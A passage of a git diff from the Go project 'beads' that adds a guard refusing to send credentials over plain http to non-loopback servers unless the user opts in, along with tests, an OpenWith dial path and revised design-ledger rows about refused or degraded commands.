non-loopback target (MED-4, S6 review). Left false, + // DialWith refuses to let a credential cross such a target at all — see + // guardInsecureCredential. connect.go sets this from --allow-plaintext so + // its own Handshake probe honors the same opt-in the CLI flag already + // granted; every other caller defaults to false and relies on the + // process-wide BEADS_HTTP_ALLOW_INSECURE=1 escape hatch instead, since + // Open/OpenReadOnly/OpenWith's callers have no flag of their own to set + // this through. + AllowInsecureCredential bool } // Conn is the store's view of one wire client. @@ -193,6 +204,17 @@ func DialWith(target Target, creds CredentialProvider, opts DialOptions) (*Conn, // refuse. } + // target.AllowInsecureCredential (bee-ghosttrack CHANGES_REQUESTED on + // #7288, should-fix 2) is `bd connect --allow-plaintext`'s grant, + // persisted to the sidecar and scoped to the target it names: it is + // loaded back from there on every ordinary command's dial, not only + // connect's own Handshake probe, so a workspace that connected with the + // flag does not also need BEADS_HTTP_ALLOW_INSECURE=1 set for every + // later `bd` invocation. opts.AllowInsecureCredential stays OR'd in + // alongside it: connect.go sets that field for its own probe from the + // SAME flag before the sidecar carrying it even exists yet. + creds = guardInsecureCredential(target, creds, opts.AllowInsecureCredential || target.AllowInsecureCredential) + client, err := wire.New(target.BaseURL, creds, wire.Options{ HTTPClient: opts.HTTPClient, UserAgent: opts.UserAgent, diff --git a/internal/httpclient/dial_test.go b/internal/httpclient/dial_test.go index 2de4d70d7..fe537aa40 100644 --- a/internal/httpclient/dial_test.go +++ b/internal/httpclient/dial_test.go @@ -181,6 +181,11 @@ func TestDialOptionsForFileBypassesEnvEntirely(t *testing.T) { if err != nil { t.Fatalf("DialOptionsForFile: %v", err) } + // u names the server as "localhost" (so SNI is sent) even though + // startServer actually bound 127.0.0.1; without pinning the dial to + // tcp4, the default dual-stack dialer can race an unrelated ::1 listener + // and flake. See forceIPv4Loopback's doc for the full mechanism. + forceIPv4Loopback(t, opts.HTTPClient.Transport) // Target.CAFile is deliberately left empty, mirroring cmd/bd's connect // verification call. target := Target{BaseURL: u} diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index f40002da3..6952cdb9d 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -320,9 +320,10 @@ func designRows() []Row { PinnedBy: pinnedByS3Conformance, }, { - ID: "L8", Kind: KindRefuse, Flag: "--deps", - What: "`bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated", - Why: "GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering", + ID: "L8", Kind: KindDegrade, Flag: "--deps", + What: "`bd list --deps` and the policy decorator's compatibility fallback for its whole-workspace blocking state (design 3.6) both work, but by a client-side chunked scan rather than a single wire call", + Why: "GetAllDependencyRecords has no 1:1 wire mapping in v1 — listDependencies is anchored at <=100 ids per call (L12's maxEdgeCountAnchors) — so the client enumerates every issue id (fetchIssuePages) and issues it in chunks, grouping the results itself; this is slower and heavier than a local store's single query, not absent. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering. " + + "The decorator takes that scan for its whole-workspace answers: ready work and its counts, the ready claim, and the single-issue close guard. Its per-issue roles (blocking annotation, the dependency tree, claim, and a batch close without a next claim) build on the client's served roles instead and read only the edges of the issues they name, through the served EdgeReader in chunks under the same cap (internal/storage/externaldeps/remote_roles.go)", SpecRow: "D9 L8, D4", PinnedBy: pinnedByS3Conformance, }, @@ -368,12 +369,13 @@ func designRows() []Row { }, { ID: "L14", Kind: KindDegrade, - What: "against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction", + What: "against a server that does NOT advertise issues.claimNext, or on the CLI's chain while any issue in the workspace, closed ones included, holds an unsatisfied external ref, a composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction", Why: "claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. " + "THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. " + "WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. " + "The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. " + - "Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510", + "A SECOND COMPOSED LEG exists on any server. On the CLI's chain the external-dependency decorator (design 3.6) hands the claim to this role only while no issue in the workspace holds an unsatisfied external ref, because claimNext has no parameter to exclude what that policy refuses. Otherwise it claims down its own filtered ready page through the served Claimer, so all three residues return, the second as a lost-races error (internal/storage/externaldeps/remote_roles.go). A closed holder counts, as it does in every backend's blocking state: it can never be a candidate, so the composed claim picks what the served one would, and leaving it out would cost a status read per holder. A server that advertises wire.CapExternalDependencies enforces the policy itself and never reaches that leg. `bd close --claim-next` takes no composed leg: the decorator refuses it rather than claim after the close commits (F-close). " + + "Retirement of the down-level leg is no longer an upstream ask but a fleet fact: it goes when no server this client may meet is older than #5510. The decorator's leg goes with an exclusion parameter on claimNext, or once every server enforces the policy itself", SpecRow: "D9 L14, D8 row 4", PinnedBy: pinnedByS3Conformance, }, @@ -1102,9 +1104,10 @@ func commandRows() []Row { "the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is"), { ID: "F-close", Kind: KindRefuse, Command: "close", Capability: "issues.batchClose", - What: "`bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose", - Why: "the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. " + - "Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap", + What: "`bd close` is SERVED whole — single id and several ids — over issues:batchClose; it refuses against a DOWN-LEVEL server that does not advertise issues.batchClose, and --claim-next refuses against every server, before anything closes", + Why: "the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so a CloseBatchRequest of any size is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. " + + "THE NEXT CLAIM IS THE EXCEPTION. batchCloseIssues has no member to carry it, so the client refuses a ClaimNext on both legs, after the claim's own validation and before the dial (W-CloseBatchRequest.ClaimNext). Closing and then claiming would split the role's one transaction in two, and a claim that failed after the closes committed could not report them, because the role answers with an error or with outcomes, never both. On the CLI's chain the external-dependency decorator (design 3.6) refuses first unless the server advertises wire.CapExternalDependencies, and its refusal says nothing closed and names the commands that do the same work: close without --claim-next, then `bd ready --claim` (internal/storage/externaldeps/remote_roles.go). " + + "Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), which names the refused shape and the server, and cmd/bd prints it against each id the batch carried. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap", SpecRow: "D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap", // The command is served; the down-level refusal is the capability gate's, // exercised against a server without issues.batchClose. diff --git a/internal/httpclient/insecure_credential_guard.go b/internal/httpclient/insecure_credential_guard.go new file mode 100644 index 000000000..07dc0e3e9 --- /dev/null +++ b/internal/httpclient/insecure_credential_guard.go @@ -0,0 +1,116 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied): closes +// the S6 review's MED-4 finding. BearerProvider.warnInsecure (credential.go) +// only ever WARNED that a bearer was bound for a non-loopback http:// target; +// `bd connect` (connect.go) separately REFUSES that combination, but only at +// connect time, and only for the ambient ladder it dials with there. Every +// ordinary open after that — Open, OpenReadOnly (the registered dialer) and +// OpenWith (the per-open seam backend/http's embedder door uses) — had no +// refusal at all: a sidecar or an embedder-supplied Target pinned at a +// non-loopback http:// host, however that happened, would have every later +// `bd` command send its bearer in the clear with nothing stopping it. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "os" + "strings" + + "github.com/steveyegge/beads/internal/configfile" +) + +// AllowInsecureCredentialEnv opts an entire process into sending a credential +// over plain http to a non-loopback bd serve. +// +// It exists because Open/OpenReadOnly/OpenWith's callers — every bd command +// but connect — have no flag of their own to thread an opt-in through, unlike +// `bd connect --allow-plaintext`. Setting it is a deliberate, informed +// decision (the same one --allow-plaintext records at connect time): the +// operator trusts the network path, typically a reverse proxy terminating TLS +// in front of bd serve. +// +// #nosec G101 -- the NAME of an environment variable, not a credential. +const AllowInsecureCredentialEnv = "BEADS_HTTP_ALLOW_INSECURE" + +func allowInsecureCredentialFromEnv() bool { + v := strings.TrimSpace(os.Getenv(AllowInsecureCredentialEnv)) + return v == "1" || strings.EqualFold(v, "true") +} + +// guardInsecureCredential wraps creds so that, once bound for a plain-http, +// non-loopback target, it refuses to let ANY credential header it adds reach +// the wire — unless allowed, which is true when EITHER opts.AllowInsecureCredential +// (DialOptions, which connect.go's own Handshake probe sets from +// --allow-plaintext before any sidecar exists) OR target.AllowInsecureCredential +// (the sidecar's persisted record of that same grant, read back on every +// LATER dial for this workspace — see Target.AllowInsecureCredential's own +// doc) is true, or BEADS_HTTP_ALLOW_INSECURE=1 is set in the environment. +// +// It wraps the resolved wire.CredentialProvider itself, never switching on +// its concrete type, so the refusal is uniform across the ambient +// BearerProvider ladder (Dial, Open, OpenReadOnly) AND an embedder-supplied +// ProvidedCredential (backends.OpenOptions.Credential, OpenWith's seam) — any +// implementation at all, including third-party ones this package has never +// heard of. +// +// A nil creds (the tip server's loopback-trust posture: no Authorization +// header is ever sent for an unauthenticated open) passes through untouched — +// there is nothing to guard, and refusing an unauthenticated plaintext dial +// would be a different, broader policy than the one this finding asks for +// ("refuse SENDING CREDENTIALS over http:// to non-loopback"). +func guardInsecureCredential(target Target, creds CredentialProvider, allowed bool) CredentialProvider { + if creds == nil { + return nil + } + base := target.BaseURL + if base == nil || base.Scheme != "http" || configfile.IsLocalHostString(base.Hostname()) { + return creds + } + if allowed || allowInsecureCredentialFromEnv() { + return creds + } + return &insecureCredentialGuard{inner: creds, endpoint: base.Redacted()} +} + +// insecureCredentialGuard is guardInsecureCredential's refusal. It lets the +// inner provider run first (so a provider that attaches nothing — an +// unconfigured ambient ladder — is never refused) and only turns the request +// into an error when Authorize actually added a header: the diff is taken on +// the header count rather than on any named header, deliberately, since +// CredentialProvider's own doc names more than one scheme ("Authorization: +// Bearer, DPoP, ...") and a third-party provider may add a header this +// package has never heard of either. +type insecureCredentialGuard struct { + inner CredentialProvider + endpoint string +} + +func (g *insecureCredentialGuard) Authorize(ctx context.Context, req *http.Request) error { + before := len(req.Header) + if err := g.inner.Authorize(ctx, req); err != nil { + return err + } + if len(req.Header) > before { + return fmt.Errorf( + "refusing to send a credential to %s over plain http: %s is not loopback, and the credential would cross the network unencrypted; use https://, run `bd connect --allow-plaintext` to accept the risk knowingly for this server, or set %s=1 to override", + g.endpoint, req.URL.Hostname(), AllowInsecureCredentialEnv) + } + return nil +} + +// Refresh delegates unchanged: a refused request never reaches a 401, so this +// guard has nothing of its own to add here. +func (g *insecureCredentialGuard) Refresh(ctx context.Context) (bool, error) { + return g.inner.Refresh(ctx) +} + +// Source forwards the inner provider's provenance report, structurally +// satisfying wire's unexported credentialSourceReporter without importing it, +// so a 401 after an ALLOWED insecure dial still names the right ladder rung. +func (g *insecureCredentialGuard) Source() string { + if r, ok := g.inner.(interface{ Source() string }); ok { + return r.Source() + } + return "" +} diff --git a/internal/httpclient/insecure_credential_guard_test.go b/internal/httpclient/insecure_credential_guard_test.go new file mode 100644 index 000000000..8e821f403 --- /dev/null +++ b/internal/httpclient/insecure_credential_guard_test.go @@ -0,0 +1,251 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied). Tests +// guardInsecureCredential (insecure_credential_guard.go), the S6 review's +// MED-4 fix: Open/OpenReadOnly/OpenWith's shared choke point for refusing a +// credential bound for a plain-http, non-loopback target. +package httpclient + +import ( + "context" + "net/http" + "strings" + "testing" +) + +const nonLoopbackTestHost = "198.51.100.1" // RFC 5737 TEST-NET-2: reserved, globally unroutable. + +func newTestRequest(t *testing.T, rawURL string) *http.Request { + t.Helper() + req, err := http.NewRequest(http.MethodGet, rawURL, nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + return req +} + +// TestGuardInsecureCredentialPassesThroughNilCredential pins the loopback- +// trust posture: an unauthenticated open never had anything to guard, and +// must not be turned into a refusal by this fix. +func TestGuardInsecureCredentialPassesThroughNilCredential(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + if got := guardInsecureCredential(target, nil, false); got != nil { + t.Fatalf("guardInsecureCredential(nil) = %v, want nil", got) + } +} + +// TestGuardInsecureCredentialPassesThroughForLoopback: the finding is about +// a NON-loopback target; a loopback one (what the tip OSS server ships with) +// must be unaffected regardless of opts. +func TestGuardInsecureCredentialPassesThroughForLoopback(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://127.0.0.1:8080/")} + inner := stubProvider{tag: "loopback"} + got := guardInsecureCredential(target, inner, false) + if got != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential returned %T, want the inner provider unwrapped for a loopback target", got) + } +} + +// TestGuardInsecureCredentialPassesThroughForHTTPS: the finding is about +// PLAIN http; a non-loopback https target is exactly what a credential should +// cross the network over, so it must be unaffected. +func TestGuardInsecureCredentialPassesThroughForHTTPS(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "https://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "https"} + got := guardInsecureCredential(target, inner, false) + if got != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential returned %T, want the inner provider unwrapped for an https target", got) + } +} + +// TestGuardInsecureCredentialRefusesNonLoopbackPlainHTTP is MED-4's core +// case: a credential provider that DOES attach a header to a non-loopback +// plain-http target must be refused, by default, with no opt-in given. +func TestGuardInsecureCredentialRefusesNonLoopbackPlainHTTP(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "will-attach"} + guarded := guardInsecureCredential(target, inner, false) + if guarded == CredentialProvider(inner) { + t.Fatal("guardInsecureCredential returned the inner provider unwrapped for a non-loopback plain-http target") + } + + req := newTestRequest(t, "http://"+nonLoopbackTestHost+"/v0/beads/context") + err := guarded.Authorize(context.Background(), req) + if err == nil { + t.Fatal("Authorize succeeded; want a refusal (plain http, non-loopback, no opt-in)") + } + if !strings.Contains(err.Error(), "refusing to send a credential") || !strings.Contains(err.Error(), AllowInsecureCredentialEnv) { + t.Errorf("Authorize error = %q, want it to name the refusal and %s", err.Error(), AllowInsecureCredentialEnv) + } +} + +// TestGuardInsecureCredentialPassesThroughWhenNothingIsAttached: a provider +// that is consulted but attaches NOTHING (the ambient ladder with no token +// configured, the tip server's loopback-trust posture extended to a +// non-loopback target with no credential at all) must not be refused — the +// finding is specifically about a credential crossing the network, not about +// plain http to a non-loopback host in general. +func TestGuardInsecureCredentialPassesThroughWhenNothingIsAttached(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := noopProvider{} + guarded := guardInsecureCredential(target, inner, false) + + req := newTestRequest(t, "http://"+nonLoopbackTestHost+"/v0/beads/context") + if err := guarded.Authorize(context.Background(), req); err != nil { + t.Fatalf("Authorize: %v, want no refusal since no credential was attached", err) + } + if req.Header.Get("Authorization") != "" { + t.Fatalf("Authorization header = %q, want none", req.Header.Get("Authorization")) + } +} + +// TestGuardInsecureCredentialAllowedByOptIn proves DialOptions' +// AllowInsecureCredential=true (what connect.go sets from --allow-plaintext) +// lets the SAME combination through that the default test above refuses. +func TestGuardInsecureCredentialAllowedByOptIn(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "opted-in"} + guarded := guardInsecureCredential(target, inner, true) + if guarded != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential(allowed=true) returned %T, want the inner provider unwrapped", guarded) + } +} + +// TestGuardInsecureCredentialAllowedByEnv proves the BEADS_HTTP_ALLOW_INSECURE +// escape hatch Open/OpenReadOnly/OpenWith's callers rely on (they have no +// flag of their own to set opts.AllowInsecureCredential through). +func TestGuardInsecureCredentialAllowedByEnv(t *testing.T) { + t.Setenv(AllowInsecureCredentialEnv, "1") + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "env-opted-in"} + guarded := guardInsecureCredential(target, inner, false) + if guarded != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential(env opt-in) returned %T, want the inner provider unwrapped", guarded) + } +} + +// TestGuardInsecureCredentialDelegatesRefreshAndSource proves the refusal +// wrapper stays transparent to the two capabilities a CredentialProvider may +// also offer, so a 401's rotation retry and its source-naming both still work +// across an ALLOWED insecure dial. +func TestGuardInsecureCredentialDelegatesRefreshAndSource(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := &reportingProvider{source: "test-rung"} + guarded := guardInsecureCredential(target, inner, true) + if guarded != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential(allowed=true) returned %T, want the inner provider unwrapped", guarded) + } + + // With allowed=false the guard wraps, and must still forward both calls. + wrapped := guardInsecureCredential(target, inner, false) + retry, err := wrapped.Refresh(context.Background()) + if err != nil || !retry { + t.Fatalf("Refresh = (%v, %v), want (true, nil)", retry, err) + } + reporter, ok := wrapped.(interface{ Source() string }) + if !ok { + t.Fatal("wrapped provider does not implement Source() string") + } + if got := reporter.Source(); got != "test-rung" { + t.Fatalf("Source() = %q, want %q", got, "test-rung") + } +} + +// TestDialWithWiresAllowInsecureCredentialThroughToTheGuard is the +// integration proof that DialWith actually applies guardInsecureCredential +// (not just that the helper is correct in isolation): a real ambient +// BearerProvider (BEADS_HTTP_TOKEN set) dialing a non-loopback plain-http +// target must be refused before the server ever sees the request, and the +// SAME dial must go through once AllowInsecureCredential is set — proving +// connect.go's --allow-plaintext -> DialOptions.AllowInsecureCredential wire +// actually reaches this guard. +func TestDialWithWiresAllowInsecureCredentialThroughToTheGuard(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, nonLoopbackTestHost+"=integration-token") + server := &contextServer{body: v0Context("proj-insecure-wiring")} + srv := server.start(t) + + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + redirecting := &http.Client{Transport: &redirectToAddrTransport{addr: strings.TrimPrefix(srv.URL, "http://")}} + + _, err := Handshake(context.Background(), target, DialOptions{HTTPClient: redirecting}) + if err == nil { + t.Fatal("Handshake succeeded; want DialWith's insecure-credential guard to refuse") + } + if !strings.Contains(err.Error(), "refusing to send a credential") { + t.Errorf("Handshake error = %v, want the insecure-credential refusal", err) + } + if len(server.seen) != 0 { + t.Errorf("server saw %d request(s); want the guard to refuse before ever dialing", len(server.seen)) + } + + snap, err := Handshake(context.Background(), target, DialOptions{HTTPClient: redirecting, AllowInsecureCredential: true}) + if err != nil { + t.Fatalf("Handshake with AllowInsecureCredential=true: %v", err) + } + if snap.ProjectId != "proj-insecure-wiring" { + t.Errorf("project_id = %q, want proj-insecure-wiring", snap.ProjectId) + } +} + +// TestDialWithWiresTargetAllowInsecureCredentialThroughToTheGuard is +// TestDialWithWiresAllowInsecureCredentialThroughToTheGuard's companion for +// the PERSISTED grant (bee-ghosttrack CHANGES_REQUESTED on #7288, +// should-fix 2): `bd connect --allow-plaintext` now saves the opt-in onto +// the sidecar (Target.AllowInsecureCredential, round-tripped through +// SaveTarget/LoadTarget), so an ORDINARY command's dial — which builds +// DialOptions fresh with AllowInsecureCredential left false, unlike +// connect's own Handshake probe — must still get through on target's say +// alone. Without DialWith also consulting target.AllowInsecureCredential, a +// workspace connected with the flag would need BEADS_HTTP_ALLOW_INSECURE=1 +// set for every later command too, which is exactly the gap this closes. +func TestDialWithWiresTargetAllowInsecureCredentialThroughToTheGuard(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, nonLoopbackTestHost+"=integration-token") + server := &contextServer{body: v0Context("proj-insecure-wiring-target")} + srv := server.start(t) + + redirecting := &http.Client{Transport: &redirectToAddrTransport{addr: strings.TrimPrefix(srv.URL, "http://")}} + + plainTarget := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + if _, err := Handshake(context.Background(), plainTarget, DialOptions{HTTPClient: redirecting}); err == nil { + t.Fatal("Handshake with no grant anywhere succeeded; want the guard to refuse") + } + + grantedTarget := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/"), AllowInsecureCredential: true} + snap, err := Handshake(context.Background(), grantedTarget, DialOptions{HTTPClient: redirecting}) + if err != nil { + t.Fatalf("Handshake with target.AllowInsecureCredential=true (opts left false): %v", err) + } + if snap.ProjectId != "proj-insecure-wiring-target" { + t.Errorf("project_id = %q, want proj-insecure-wiring-target", snap.ProjectId) + } +} + +// redirectToAddrTransport sends every request to addr instead of req.URL's +// own host, so a test can dial a real (loopback) httptest.Server while +// target.BaseURL carries a different, non-loopback-looking host — the shape +// needed to exercise the insecure-credential guard against a server that +// actually answers once the guard lets a request through. +type redirectToAddrTransport struct{ addr string } + +func (r *redirectToAddrTransport) RoundTrip(req *http.Request) (*http.Response, error) { + clone := req.Clone(req.Context()) + clone.URL.Host = r.addr + clone.Host = r.addr + return http.DefaultTransport.RoundTrip(clone) +} + +// noopProvider never attaches anything — the ambient ladder's unconfigured +// state, or a third-party provider that only sometimes authorizes. +type noopProvider struct{} + +func (noopProvider) Authorize(context.Context, *http.Request) error { return nil } +func (noopProvider) Refresh(context.Context) (bool, error) { return false, nil } + +// reportingProvider is a minimal CredentialProvider that also implements the +// wire package's unexported credentialSourceReporter shape structurally, to +// prove insecureCredentialGuard forwards both Refresh and Source. +type reportingProvider struct{ source string } + +func (p *reportingProvider) Authorize(context.Context, *http.Request) error { return nil } +func (p *reportingProvider) Refresh(context.Context) (bool, error) { return true, nil } +func (p *reportingProvider) Source() string { return p.source } diff --git a/internal/httpclient/metadata.go b/internal/httpclient/metadata.go index a58c5619c..fe0bc207e 100644 --- a/internal/httpclient/metadata.go +++ b/internal/httpclient/metadata.go @@ -112,7 +112,10 @@ func (s *Store) SetLocalMetadata(_ context.Context, key, value string) error { // A wrong-server handshake is the one error that must NOT collapse to that // benign skip (ga-b8ddd.11, Option C): the mismatch carries the id the server // actually owns, so handing that Got value back is what lets cmd/bd's -// validateWorkspaceIdentity compare it against metadata.json and FIRE the +// validateWorkspaceIdentity compare it against the workspace's expected +// project id — the sidecar's ExpectProjectID for this backend, not +// metadata.json (bee-ghosttrack CHANGES_REQUESTED on #7288: metadata.json's +// project_id is not kept current across `bd connect`) — and FIRE the // identity check — the write is refused, exit 1. What this path does NOT surface // is the wire ProjectMismatchError's own text: only the Got id survives this // method, so the server URL, database, repo root and recovery clause it carries diff --git a/internal/httpclient/open_with.go b/internal/httpclient/open_with.go new file mode 100644 index 000000000..22f6e9024 --- /dev/null +++ b/internal/httpclient/open_with.go @@ -0,0 +1,69 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied). A sibling +// enterprise implementation takes over credential selection with its own +// Options.Credentials hook; OSS instead threads the backends.OpenOptions.Credential +// seam S1 defined, which backend_credential.go's ResolveCredential (S2) was +// built to resolve but which, until this file, had no production caller. +// OpenWith is that caller. +package httpclient + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/backends" +) + +// OpenWith is the backends.Backend.OpenWith hook backend/http (bdhttp) +// installs: the per-open seam that honors opts.Credential, opts.HTTPClient and +// opts.UserAgent for exactly THIS open, rather than the process-wide dialer +// Open/OpenReadOnly (NewFromConfig/NewReadOnlyFromConfig) use via the +// package-level registered dialer. +// +// That distinction is the whole reason this is a separate code path: the +// registered dialer is installed once, at process start, from one fixed +// DialOptions — exactly what a single-tenant CLI process wants, but useless +// to a multi-tenant embedder (gc, Gas City) that needs a different credential +// per workspace it opens in the same process. OpenWith dials fresh every call. +// +// base supplies the Register-time defaults (bdhttp.Options.UserAgent / +// HTTPClient) that a non-empty opts.UserAgent or non-nil opts.HTTPClient +// overrides for this one open. +// +// require is bdhttp.Options.RequireCredential: when true, a nil opts.Credential +// is ErrCredentialRequired rather than a silent fall-through to the ambient +// bearer ladder (BEADS_HTTP_TOKEN, BEADS_HTTP_TOKEN_COMMAND, the credentials +// file) — process-global ambient state a multi-tenant embedder cannot trust to +// name the right tenant. See ResolveCredential. +// +// Unlike Open/OpenReadOnly, OpenWith never consults BEADS_HTTP_CA_FILE: CA +// resolution is pinned to target.CAFile alone via DialOptionsForTarget, +// because an embedder juggling several targets in one process must not have +// one silently renarrowed (or widened) by an ambient value an unrelated open +// exported. See DialOptionsForTarget's own doc for why that rung is skipped +// here specifically. +func OpenWith(ctx context.Context, beadsDir string, opts backends.OpenOptions, base DialOptions, require bool) (storage.DoltStorage, error) { + target, err := LoadTarget(beadsDir) + if err != nil { + return nil, err + } + creds, err := ResolveCredential(opts, target.BaseURL, require) + if err != nil { + return nil, err + } + dialOpts := base + if opts.UserAgent != "" { + dialOpts.UserAgent = opts.UserAgent + } + if opts.HTTPClient != nil { + dialOpts.HTTPClient = opts.HTTPClient + } + dialOpts = DialOptionsForTarget(target, dialOpts) + conn, err := DialWith(target, creds, dialOpts) + if err != nil { + return nil, fmt.Errorf("dialing %s: %w", target, err) + } + s := New(target, conn, nil) + s.local = newLocalMetadata(beadsDir) + return s, nil +} diff --git a/internal/httpclient/open_with_test.go b/internal/httpclient/open_with_test.go new file mode 100644 index 000000000..ed23ed473 --- /dev/null +++ b/internal/httpclient/open_with_test.go @@ -0,0 +1,67 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied). +package httpclient + +import ( + "context" + "net/http" + "net/url" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/backends" +) + +// literalSecretProvider is a CredentialProvider whose unexported field holds +// the literal secret value, the same shape a real token-bearing provider +// takes. It exists only so a test can grep for that literal in an error +// string: fmt's %+v prints unexported struct fields by value, so if OpenWith +// (or anything it calls) ever formats opts.Credential directly into an error +// — rather than formatting only the target and the wrapped dial error, as +// open_with.go's "dialing %s: %w" does today — this field's value leaks into +// logs and terminals, exactly what wire.CredentialProvider's own doc comment +// on Authorize forbids ("The error must not carry the credential"). +type literalSecretProvider struct { + secret string +} + +func (literalSecretProvider) Authorize(context.Context, *http.Request) error { return nil } +func (literalSecretProvider) Refresh(context.Context) (bool, error) { return false, nil } + +// TestOpenWithDialErrorNeverFormatsTheCredential kills the mutation that +// widens open_with.go's dial-failure wrap from +// `fmt.Errorf("dialing %s: %w", target, err)` to one that also interpolates +// opts.Credential (e.g. "dialing %s cred=%+v: %w"). A credential a caller +// supplies through OpenOptions.Credential must never surface in an error this +// package hands back — the error travels into the embedder's own logs and +// terminals, same as the doc comment on CredentialProvider.Authorize says. +// +// The dial target names a CA file that does not exist, which DialWith (via +// dialTransport) refuses before opening any socket: a config-time error, not +// a network one, so the test stays fast and never reaches any real network +// — the standing safety rule for this suite — while still giving OpenWith a +// real, non-nil error from the exact call it wraps. +func TestOpenWithDialErrorNeverFormatsTheCredential(t *testing.T) { + beadsDir := t.TempDir() + base, err := url.Parse("http://127.0.0.1:1/") + if err != nil { + t.Fatalf("parse base url: %v", err) + } + target := Target{BaseURL: base, CAFile: filepath.Join(beadsDir, "no-such-ca.pem")} + if err := SaveTarget(beadsDir, target); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + + const secret = "KILL-ME-SECRET-1234" + opts := backends.OpenOptions{ + Credential: ProvidedCredential{Provider: literalSecretProvider{secret: secret}}, + } + + _, err = OpenWith(context.Background(), beadsDir, opts, DialOptions{}, false) + if err == nil { + t.Fatal("OpenWith against an unreachable loopback port returned no error; cannot assert what its error does, or does not, carry") + } + if strings.Contains(err.Error(), secret) { + t.Errorf("OpenWith's error carries the literal credential secret %q: %v", secret, err) + } +} diff --git a/internal/httpclient/roles_graph.go 